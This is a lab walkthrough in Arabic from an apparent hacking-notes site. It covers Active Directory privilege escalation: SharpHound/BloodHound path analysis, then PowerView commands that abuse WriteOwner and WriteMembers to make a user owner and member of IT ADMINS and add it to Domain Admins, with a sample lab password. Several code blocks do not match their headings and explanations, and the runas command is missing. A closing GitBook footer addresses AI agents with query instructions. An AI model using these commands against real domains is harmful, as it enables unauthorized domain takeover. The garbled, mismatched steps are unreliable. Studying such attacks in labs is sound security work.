> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/active-directory/acl-security-descriptors-and-permissions/bloodhound-analysis.md).
# التحليل باستخدام BloodHound
بعد إنشاء الكائنات القابلة للاستغلال، يمكنك إعادة تشغيل تجميع SharpHound:
{% code overflow="wrap" %}
```powershell
. ./SharpHound.exe
```
{% endcode %}
يقوم SharpHound بإنشاء `.zip` الملف.
ثم شغّل BloodHound:
{% code overflow="wrap" %}
```powershell
bloodhound --no-sandbox &
```
{% endcode %}
ثم نستورد `.zip` الملف إلى BloodHound.
بعد الاستيراد، يمكننا رؤية:
* مستخدمين جدد؛
* مجموعات جديدة؛
* قوائم التحكم بالوصول الجديدة؛
* مسارات الامتياز؛
* العلاقات بين الكائنات.
### العثور على مسار إلى Domain Admin
في BloodHound، نستخدم التحليل:
{% code overflow="wrap" %}
```bash
العثور على أقصر المسارات إلى Domain Admins
```
{% endcode %}
يجد هذا الاستعلام أقصر المسارات إلى مجموعة مسؤولي النطاق.
في المختبر، يعرض BloodHound على سبيل المثال مجموعة:
```bash
IT ADMINS
```
تحتوي هذه المجموعة على عدة مستخدمين، مثل:
```bash
Deidre Corry
Lisette.pru
Gypsy.nelle
```
يمكننا بعد ذلك تحليل العلاقات بين المجموعات، على سبيل المثال:
```wasm
Project Management -> IT ADMINS -> Domain Admins
```
الهدف هو فهم كيف يمكن لخطأ في تهيئة الأذونات أن يؤدي إلى مجموعة ذات امتيازات.
### استغلال التهيئة الضعيفة لـ ACL
> لا تُنفَّذ هذه الخطوة إلا في مختبر مُصرَّح به.
في هذا السيناريو، المستخدم `monica.cora` لديه مسار قابل للاستخدام إلى المجموعة:
```
IT ADMINS
```
سنستخدم صلاحياتنا للسيطرة على هذه المجموعة، ثم ننتقل نحو مجموعة أكثر امتيازًا.
### الاتصال بالمستخدم monica.cora
نتصل بالمستخدم:
{% code overflow="wrap" %}
```
monica.cora
```
{% endcode %}
كلمة المرور المستخدمة في المختبر:
```
Password123$
```
نفتح جلسة PowerShell بهذا المستخدم:
الشرح:
* `runas` يبدأ برنامجًا باستخدام مستخدم آخر؛
* `/netonly` يستخدم هذه الاعتمادات للوصول إلى الشبكة فقط؛
* `powershell` يفتح جلسة PowerShell جديدة.
### تحميل PowerView
في جلسة PowerShell الجديدة:
{% code overflow="wrap" %}
```bash
Set-DomainObjectOwner -Identity "IT ADMINS" -OwnerIdentity monica.cora
```
{% endcode %}
يحمّل PowerView في `monica.cora`جلسة.
### استغلال صلاحية WriteOwner
الـ **WriteOwner** تتيح لك هذه الصلاحية تغيير مالك كائن في Active Directory.
في هذا السيناريو، `monica.cora` يصبح مالك المجموعة:
```
IT ADMINS
```
الأمر:
{% code overflow="wrap" %}
```powershell
Add-DomainObjectAcl -TargetIdentity "IT ADMINS" -Rights WriteMembers -PrincipalIdentity monica.cora
```
{% endcode %}
بعد هذه الخطوة، يصبح مالك الكائن:
```
WHOAMI/monica.cora
```
### تمت إضافة صلاحية WriteMembers
كونك مالكًا لكائن يتيح لك عمومًا تعديل DACL الخاصة به.
لذلك نضيف إلى `monica.cora` صلاحية تعديل أعضاء `IT ADMINS` المجموعة.
{% code overflow="wrap" %}
```powershell
Add-DomainGroupMember -Identity 'IT ADMINS' -Members 'monica.cora'
```
{% endcode %}
هذه الصلاحية تسمح `monica.cora` بإضافة أعضاء إلى `IT ADMINS` المجموعة.
### تمت إضافة monica.cora إلى مجموعة IT ADMINS
نضيف الآن `monica.cora` إلى المجموعة:
{% code overflow="wrap" %}
```powershell
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'monica.cora'
```
{% endcode %}
للتحقق:
```wasm
Get-DomainGroupMember -Identity "IT ADMINS" | select MemberName
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/ar/active-directory/acl-security-descriptors-and-permissions/bloodhound-analysis.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.